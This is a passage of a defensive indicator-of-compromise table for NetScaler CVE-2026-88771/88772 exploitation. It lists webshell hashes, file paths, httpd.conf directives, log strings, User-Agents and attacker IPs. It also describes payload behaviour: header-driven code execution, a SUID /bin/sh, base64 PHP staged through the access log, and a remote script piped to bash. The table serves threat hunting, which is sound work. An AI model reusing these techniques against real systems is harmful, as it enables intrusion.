| URI path | /cgi/login | Defused (@DefusedCyber) on X, Sep 29 [85] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
| URI path | /p/u/doLogon.do | Defused (@DefusedCyber) on X, Sep 29 [85] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
| URI path | /logon/LogonPoint/tmindex.html | Defused (@DefusedCyber) on X, Sep 29 [85] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
| HTTP header | User-Agent (payload in the header on requests to /) | Defused (@DefusedCyber) on X, Sep 29 [85]; CERT-EU [39] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. CERT-EU separately flags base64 User-Agent strings starting with INDEX:. | Public post, no TLP marking |
| Filename | nx_verify.html | Defused (@DefusedCyber) on X, Sep 29 [85] | Marker file dropped to tag vulnerable boxes for a target list (Defused) | Also written by testers; means the box was reached and is exploitable, not necessarily that an actor installed a backdoor. | Public post, no TLP marking |
| SHA-256 | 5ea5ea61e9062822bee3f66ef5ff47c217178d9e31936ad6daf10c5dfae44d12 | eSentire TRU [69]; Sygnia [54] | PHP webshell, .ico variant (publicly on VirusTotal per eSentire); Sygnia also found it during an active IR investigation | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| SHA-256 | 7add390ceee4a1373211b3e340451b34f08965fc4d805f94c9b8cebdc0775774 | eSentire TRU [69]; Google GTIG / Mandiant [51] | PHP webshell disguised as nsgtrust.deb in /var/netscaler/gui/vpn/scripts/linux/ (eSentire TRU Cluster A, pre-disclosure, early September; the directory holds legitimate .deb files that mask it). Executes attacker-supplied code via the HTTP_NSC_CLIENTTYPE header, adds an application/x-httpd-php handler replacing the .ico handler in /etc/httpd.conf, sets php_flag engine on, sets the SUID bit on /bin/sh and cleans its own crontab artifacts - nearly identical to the lightweight installer webshell family in GTIG's research | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| File path | /var/netscaler/gui/vpn/scripts/linux/*.sig | eSentire TRU [69]; Google GTIG / Mandiant [51] | .ico-variant webshell location (eSentire); also matches GTIG method B | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| HTTP request pattern | GET /vpn/media/*.ico with base64 PHP (starting "PD9") appended to the User-Agent | eSentire TRU [69]; CERT-EU [39] | Payload staging via the access log (eSentire; matches CERT-EU technique) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 34.90.151.231 | eSentire TRU [69] | Reconnaissance and webshell delivery (eSentire) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. Google Cloud address space; may be reassigned. | Public advisory, no TLP marking |
| IPv4 | 31.56.197.72 | eSentire TRU [69]; Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | Payload host (eSentire); Arctic Wolf: served /lula on ports 80 and 9090, and /kk | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public advisory, no TLP marking |
| IPv4 | 64.94.85.67 | eSentire TRU [69]; GreyNoise tag [80]; Arctic Wolf [53]; Sygnia [54]; LevelBlue SpiderLabs (THOR team) [63] | Payload host (eSentire); also tagged by GreyNoise | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public advisory, no TLP marking |
| IPv4 | 23.27.143.20 | eSentire TRU [69]; Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | Payload host (eSentire); Arctic Wolf: served main.py on port 9000, saved as /var/1.py and run with python | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public advisory, no TLP marking |
| IPv4 | 62.133.62.80 | eSentire TRU [69]; Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | Payload host (eSentire) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public advisory, no TLP marking |
| IPv4 | 144.172.108.78 | eSentire TRU [69] | Exploitation source (eSentire) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 185.156.46.162 | eSentire TRU [69]; GreyNoise tag [80] | Exploitation source (eSentire); also tagged by GreyNoise | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. GreyNoise tags it as VPN; may be shared. | Public advisory, no TLP marking |
| IPv4 | 153.75.82.220 | eSentire TRU [69]; GreyNoise tag [80]; Arctic Wolf [53] | Exploitation source (eSentire); also tagged by GreyNoise; Arctic Wolf: served /download/x.sh, piped to bash | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 216.203.21.233 | eSentire TRU [69]; GreyNoise tag [80] | Exploitation source (eSentire); also tagged by GreyNoise | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 185.243.41.247 | eSentire TRU [69] | Campaign infrastructure (eSentire) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| Network | UDP/443 (DTLSv1.0) | Google GTIG / Mandiant [51] | Delivery protocol for the CVE-2026-88772 exploit (GTIG) | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Legitimate DTLS VPN traffic uses the same port; baseline normal DTLS sources. | Public blog, no TLP marking |
| Config directive | Alias /logon/LogonPoint/custom/receiver.min.css | Beazley Security Labs [72]; GreyNoise blog [77] | httpd.conf route to the .ctxs.receiver webshell (GreyNoise, via Beazley) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Config directive | AliasMatch ^/logon/LogonPoint/custom/receiver\.min\.[0-9a-f]+\.css$ | Beazley Security Labs [72]; GreyNoise blog [77] | httpd.conf route variant to the webshell (GreyNoise, via Beazley) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Config directive | php_flag engine on (changed from off) plus a SetHandler block for the webshell file | Beazley Security Labs [72]; CERT-EU [39] | PHP enabled for the webshell in httpd.conf (GreyNoise, CERT-EU, via Beazley) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. Compare /etc/httpd.conf with a clean appliance on the same build. | Public advisory, no TLP marking |
| HTTP cookie | CsrfToken + NSC_TASS | Beazley Security Labs [72]; IFIN [81] | Cookies used to access the .ctxs.receiver webshell (GreyNoise, via Beazley) | NetScaler uses both cookies legitimately. Suspicious only when NSC_TASS carries URL-encoded commands on requests to the webshell path. | Public advisory, no TLP marking |
| Log string | pitboss log lines containing IFS or b64decode | Beazley Security Labs [72] | Log-poisoning exploitation of CVE-2026-88771 (Beaumont, via Beazley); check ns.log, /var/log/messages and your SIEM | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | "missed too many heartbeats" or "unexpectedly died" in authentication log lines | Beazley Security Labs [72]; CERT-EU [39]; Arctic Wolf [53]; Sygnia [54] | Crafted login usernames imitating packet-engine messages (watchTowr, CERT-EU, via Beazley); ns.log | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| User-Agent | ns-88771-poc | Beazley Security Labs [72] | Public PoC/scanner User-Agent seen by Lupovis (via Beazley); Apache access logs | A public testing tool, not an actor indicator. Means someone tested the box. | Public advisory, no TLP marking |
| User-Agent | PoCbit | Poppelgaard [56] | Scanner User-Agent listed alongside ns-88771-poc in the Poppelgaard checker v1.11 log hunt (source of the value not stated there); Apache access logs | A testing-tool marker, not an actor indicator. A hit means someone ran a PoC or scanner against the box, possibly a researcher or defender. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/wtw888* | Poppelgaard [56]; watchTowr Detection Artefact Generator [41]; watchTowr Detection Artefact Generator [43] | Output marker glob from the Poppelgaard checker v1.11 for files written by exploit payloads and PoC tools (alongside /var/tmp/watchTowr*, /tmp/wtw*, /tmp/boom*, nx_verify.html, id009*) | Pattern from a public triage script, not a vendor report. The watchTowr tools document /var/tmp/watchTowr and /tmp/watchTowr as their example outputs; a wtw* hit means a PoC-class tool or payload ran on the box, and /tmp is in memory so it clears on reboot. | Public GitHub repository, no TLP marking |
| IPv4 | 78.128.113.10 | Poppelgaard [56] | Exploitation-attempt source per the GreyNoise-era list compiled from the public GreyNoise, Marius Sandbu and Lupovis releases (28-29 Sep), carried in the Poppelgaard checker. WHOIS: RACKWEB-NET, Miti 2000 EOOD. VirusTotal: 4 of 91 engines malicious, 3 suspicious (2 Oct) | Single compiled list; the checker does not state which source observed this specific IP, and no public source describes what it did. A hunting lead, not proof of targeting. | Public GitHub repository, no TLP marking |
| IPv4 | 78.128.113.101 | Poppelgaard [56] | Carried in the Poppelgaard checker IP list; not named in any public source. Same RACKWEB-NET block (Miti 2000 EOOD, Bulgaria) as the separately listed 78.128.113.10 - the checker v1.12 boundary-fix note names it only as the host that 78.128.113.10 must not be confused with, which is why it is kept as its own row | Weakest-provenance row on this page: the only public appearance of this address is inside the checker script itself, and the script gives it no role or observation. A hunting lead at most; treat any hit as a prompt to check what the host actually did. | Public GitHub repository, no TLP marking |
| IPv4 | 158.94.209.12 | Poppelgaard [56] | Download server or sender per Gotham Technology Group, shared with permission and carried in the Poppelgaard checker. WHOIS: OMEGATECH, Omegatech LTD. VirusTotal: 12 of 91 engines malicious (2 Oct) | Gotham IR observation shared with permission, relayed via the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 38.134.148.238 | Poppelgaard [56] | Tied to the 2 Oct activity, shared in the NetScaler community and carried in the Poppelgaard checker's GreyNoise-tagged probe group. WHOIS: Cogent Communications (COGENT-A block); announced via AS174 Cogent per BGP. VirusTotal: 2 of 91 engines malicious, 2 suspicious (3 Oct) | Community-shared via the checker; the checker itself groups it as scanner noise, and no public source describes what it did or links it to the campaign first-hand. A hunting lead, not a confirmed attacker address; not in this site's firewall blocklist. | Public GitHub repository, no TLP marking |
| IPv4 | 167.148.88.236 | Poppelgaard [56] | Tied to the 2 Oct activity, shared in the NetScaler community and carried in the Poppelgaard checker's GreyNoise-tagged probe group. WHOIS: RIPE allocation, netname NET-167-148-88-0-24 (Ultahost, New York per PTR range data). VirusTotal: 1 of 91 engines malicious, 1 suspicious (3 Oct) | Community-shared via the checker; the checker itself groups it as scanner noise, and no public source describes what it did or links it to the campaign first-hand. A hunting lead, not a confirmed attacker address; not in this site's firewall blocklist. | Public GitHub repository, no TLP marking |
| IPv4 | 5.188.206.226 | Poppelgaard [56] | Download server or sender per Gotham Technology Group, shared with permission and carried in the Poppelgaard checker. WHOIS: TAIL-NET, Technology Advanced Investment Limited (announced via AS200391 KREZ 999, a reseller routing the range). VirusTotal: 0 of 91 engines malicious, 1 suspicious (2 Oct) | Gotham IR observation shared with permission, relayed via the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. Low VirusTotal score does not prove safety. | Public GitHub repository, no TLP marking |
| String | NX-CVE-OK | Beazley Security Labs [72] | Test-marker text dropped in web folders by exploitation checks (Lupovis, via Beazley); grep /netscaler/ns_gui | Means the box was reached and is exploitable, not necessarily backdoored. | Public advisory, no TLP marking |
| File permission | /bin/sh expected -r-xr-xr-x (setuid means modified) | Beazley Security Labs [72]; Google GTIG / Mandiant [51] | Check with ls -l /bin/sh before patching; the installer sets setuid (Beazley, GTIG) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| IPv4 | 172.247.44.85 | GreyNoise tag [80]; Poppelgaard [56] | CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CNSERVERS LLC, United States). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to confirmed command-injection sources | Huntback decoy telemetry plus GreyNoise tagging; command injection confirmed by a decoy operator. Keep it blocked. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 165.227.201.112 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 173.231.39.244 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WebNX, Inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 64.225.103.14 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, Germany) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 159.65.104.231 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 142.93.205.229 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 182.101.54.57 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 87.224.84.82 | GreyNoise tag [80]; LevelBlue SpiderLabs (THOR team) [63] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Spitfire Network Services Limited, United Kingdom). LevelBlue: source of a configuration-staging attempt | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 137.220.53.135 | GreyNoise tag [80]; Poppelgaard [56] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, Canada). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to ns.conf-upload sources | Huntback decoy telemetry plus GreyNoise tagging; ns.conf upload observed by a decoy operator. Keep it blocked. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 120.28.233.211 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Globe Telecoms, Philippines) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 149.28.58.71 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (The Constant Company, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 23.234.111.22 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (tzulo, inc., United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 198.13.159.233 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (BL Networks, Netherlands) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 85.221.203.85 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (INEA sp. z o.o., Poland) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 46.150.68.55 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Kyivski Telekomunikatsiyni Merezhi, Ukraine) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 159.26.103.184 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Proton AG, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 45.249.89.172 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (SpeedyPage Ltd, Japan) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 197.52.9.138 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (TE-AS, Egypt) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 180.242.113.168 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PT Telekomunikasi Indonesia, Indonesia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 85.117.117.248 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Mobile Telecom-Service LLP, Kazakhstan) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 73.43.85.7 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Comcast Cable Communications, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 88.180.103.22 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Free SAS, France) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 194.28.195.90 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Dialog-K LLC, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 95.63.246.50 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Vodafone Espana S.A.U., Spain) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 31.13.192.160 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (SKAT POPOVO Ltd., Bulgaria) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 185.170.55.89 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (LLC Electron-Telecom, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 104.203.50.26 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Blue Stream, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 37.19.221.171 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Datacamp Limited, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. VPN or proxy exit shared by many users; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 45.143.167.96 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (BlueVPS OU, Netherlands) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 206.232.71.215 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Leaseweb Deutschland GmbH, Germany) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 130.94.106.141 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (LIGHT NODE LIMITED, Argentina) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 58.187.56.89 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (FPT Telecom Company, Vietnam) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 171.106.10.118 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 82.24.212.15 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Shock Hosting LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 178.66.43.241 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PJSC Rostelecom, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 185.209.15.246 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (ESTOXY OU, Netherlands) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 94.190.77.195 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (INTERRA telecommunications group, Ltd., Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 93.177.60.233 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (PJSC Rostelecom, Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 68.46.140.222 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Comcast Cable Communications, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 178.218.40.232 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (ATEXS PLUS Ltd., Russia) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 49.36.107.103 | GreyNoise tag [80] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Reliance Jio Infocomm Limited, India) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
